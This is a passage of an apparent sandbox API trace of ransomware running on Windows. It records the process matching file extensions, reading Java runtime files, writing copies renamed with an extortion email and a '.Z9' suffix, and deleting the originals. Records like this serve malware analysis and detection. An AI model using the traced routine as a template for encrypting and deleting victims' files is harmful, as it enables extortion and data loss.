	[0096.387] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1
	[0096.387] lstrlenW (lpString=".rar") returned 4
	[0096.387] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1
	[0096.387] lstrlenW (lpString=".bz2") returned 4
	[0096.387] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1
	[0096.387] lstrlenW (lpString=".7z") returned 3
	[0096.387] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0096.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.387] lstrlenW (lpString=".dbf") returned 4
	[0096.387] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1
	[0096.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.387] lstrlenW (lpString=".1cd") returned 4
	[0096.387] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1
	[0096.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0096.387] lstrlenW (lpString=".jpg") returned 4
	[0096.387] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1
	[0096.387] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.387] lstrlenW (lpString="messages_es.properties") returned 22
	[0096.387] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.396] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3600) returned 1
	[0096.396] CloseHandle (hObject=0x364) returned 1
	[0096.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20
	[0096.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.396] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.396] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.396] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.396] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.397] GetLastError () returned 0x0
	[0096.397] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xe10, lpOverlapped=0x0) returned 1
	[0096.401] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe20, lpOverlapped=0x0) returned 1
	[0096.401] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.401] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x100, lpOverlapped=0x0) returned 1
	[0096.402] SetEndOfFile (hFile=0x390) returned 1
	[0096.402] CloseHandle (hObject=0x390) returned 1
	[0096.402] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.402] SetEndOfFile (hFile=0x364) returned 1
	[0096.403] CloseHandle (hObject=0x364) returned 1
	[0096.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.403] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1
	[0096.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.403] lstrlenW (lpString=".doc") returned 4
	[0096.403] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.403] lstrlenW (lpString=".docx") returned 5
	[0096.403] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.403] lstrlenW (lpString=".pdf") returned 4
	[0096.403] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.403] lstrlenW (lpString=".xls") returned 4
	[0096.403] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.403] lstrlenW (lpString=".xlsx") returned 5
	[0096.403] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.403] lstrlenW (lpString=".ppt") returned 4
	[0096.403] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.403] lstrlenW (lpString=".zip") returned 4
	[0096.403] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.403] lstrlenW (lpString=".rar") returned 4
	[0096.403] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString=".bz2") returned 4
	[0096.404] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString=".7z") returned 3
	[0096.404] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.404] lstrlenW (lpString=".dbf") returned 4
	[0096.404] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.404] lstrlenW (lpString=".1cd") returned 4
	[0096.404] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.404] lstrlenW (lpString=".jpg") returned 4
	[0096.404] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.404] lstrlenW (lpString=".doc") returned 4
	[0096.404] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString=".docx") returned 5
	[0096.404] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.404] lstrlenW (lpString=".pdf") returned 4
	[0096.404] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString=".xls") returned 4
	[0096.404] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString=".xlsx") returned 5
	[0096.404] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.404] lstrlenW (lpString=".ppt") returned 4
	[0096.404] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.404] lstrlenW (lpString=".zip") returned 4
	[0096.404] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString=".rar") returned 4
	[0096.404] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.404] lstrlenW (lpString=".bz2") returned 4
	[0096.405] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.405] lstrlenW (lpString=".7z") returned 3
	[0096.405] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.405] lstrlenW (lpString=".dbf") returned 4
	[0096.405] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.405] lstrlenW (lpString=".1cd") returned 4
	[0096.405] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0096.405] lstrlenW (lpString=".jpg") returned 4
	[0096.405] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.405] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.405] lstrlenW (lpString="messages_it.properties") returned 22
	[0096.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.405] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3223) returned 1
	[0096.405] CloseHandle (hObject=0x364) returned 1
	[0096.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20
	[0096.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.406] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.406] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.406] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.406] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.406] GetLastError () returned 0x0
	[0096.406] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xc97, lpOverlapped=0x0) returned 1
	[0096.439] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xca0, lpOverlapped=0x0) returned 1
	[0096.440] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.440] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x100, lpOverlapped=0x0) returned 1
	[0096.440] SetEndOfFile (hFile=0x390) returned 1
	[0096.440] CloseHandle (hObject=0x390) returned 1
	[0096.440] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.440] SetEndOfFile (hFile=0x364) returned 1
	[0096.441] CloseHandle (hObject=0x364) returned 1
	[0096.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.441] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1
	[0096.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.442] lstrlenW (lpString=".doc") returned 4
	[0096.442] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.442] lstrlenW (lpString=".docx") returned 5
	[0096.442] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.442] lstrlenW (lpString=".pdf") returned 4
	[0096.442] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.442] lstrlenW (lpString=".xls") returned 4
	[0096.442] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.442] lstrlenW (lpString=".xlsx") returned 5
	[0096.442] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.442] lstrlenW (lpString=".ppt") returned 4
	[0096.442] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.442] lstrlenW (lpString=".zip") returned 4
	[0096.442] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.442] lstrlenW (lpString=".rar") returned 4
	[0096.442] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.442] lstrlenW (lpString=".bz2") returned 4
	[0096.442] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.442] lstrlenW (lpString=".7z") returned 3
	[0096.442] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.442] lstrlenW (lpString=".dbf") returned 4
	[0096.442] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.442] lstrlenW (lpString=".1cd") returned 4
	[0096.442] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.442] lstrlenW (lpString=".jpg") returned 4
	[0096.442] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.443] lstrlenW (lpString=".doc") returned 4
	[0096.443] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.443] lstrlenW (lpString=".docx") returned 5
	[0096.443] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.443] lstrlenW (lpString=".pdf") returned 4
	[0096.443] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.443] lstrlenW (lpString=".xls") returned 4
	[0096.443] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.443] lstrlenW (lpString=".xlsx") returned 5
	[0096.443] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.443] lstrlenW (lpString=".ppt") returned 4
	[0096.443] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.443] lstrlenW (lpString=".zip") returned 4
	[0096.443] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.443] lstrlenW (lpString=".rar") returned 4
	[0096.443] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.443] lstrlenW (lpString=".bz2") returned 4
	[0096.443] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.443] lstrlenW (lpString=".7z") returned 3
	[0096.443] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.443] lstrlenW (lpString=".dbf") returned 4
	[0096.443] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.443] lstrlenW (lpString=".1cd") returned 4
	[0096.443] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0096.443] lstrlenW (lpString=".jpg") returned 4
	[0096.443] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.444] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.444] lstrlenW (lpString="messages_ja.properties") returned 22
	[0096.444] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0096.506] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=6349) returned 1
	[0096.506] CloseHandle (hObject=0x358) returned 1
	[0096.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20
	[0096.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.506] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0096.507] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.507] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.507] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.508] GetLastError () returned 0x0
	[0096.508] ReadFile (in: hFile=0x358, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x18cd, lpOverlapped=0x0) returned 1
	[0096.510] WriteFile (in: hFile=0x37c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x18d0, lpOverlapped=0x0) returned 1
	[0096.512] ReadFile (in: hFile=0x358, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.512] WriteFile (in: hFile=0x37c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x100, lpOverlapped=0x0) returned 1
	[0096.512] SetEndOfFile (hFile=0x37c) returned 1
	[0096.512] CloseHandle (hObject=0x37c) returned 1
	[0096.512] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.512] SetEndOfFile (hFile=0x358) returned 1
	[0096.513] CloseHandle (hObject=0x358) returned 1
	[0096.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.514] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1
	[0096.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.514] lstrlenW (lpString=".doc") returned 4
	[0096.514] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.514] lstrlenW (lpString=".docx") returned 5
	[0096.514] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.514] lstrlenW (lpString=".pdf") returned 4
	[0096.514] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.514] lstrlenW (lpString=".xls") returned 4
	[0096.514] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.514] lstrlenW (lpString=".xlsx") returned 5
	[0096.514] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.514] lstrlenW (lpString=".ppt") returned 4
	[0096.514] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.514] lstrlenW (lpString=".zip") returned 4
	[0096.514] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.514] lstrlenW (lpString=".rar") returned 4
	[0096.514] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString=".bz2") returned 4
	[0096.515] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString=".7z") returned 3
	[0096.515] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.515] lstrlenW (lpString=".dbf") returned 4
	[0096.515] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.515] lstrlenW (lpString=".1cd") returned 4
	[0096.515] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.515] lstrlenW (lpString=".jpg") returned 4
	[0096.515] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.515] lstrlenW (lpString=".doc") returned 4
	[0096.515] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString=".docx") returned 5
	[0096.515] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.515] lstrlenW (lpString=".pdf") returned 4
	[0096.515] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString=".xls") returned 4
	[0096.515] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString=".xlsx") returned 5
	[0096.515] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.515] lstrlenW (lpString=".ppt") returned 4
	[0096.515] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.515] lstrlenW (lpString=".zip") returned 4
	[0096.515] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString=".rar") returned 4
	[0096.515] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString=".bz2") returned 4
	[0096.515] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.515] lstrlenW (lpString=".7z") returned 3
	[0096.515] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.516] lstrlenW (lpString=".dbf") returned 4
	[0096.516] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.516] lstrlenW (lpString=".1cd") returned 4
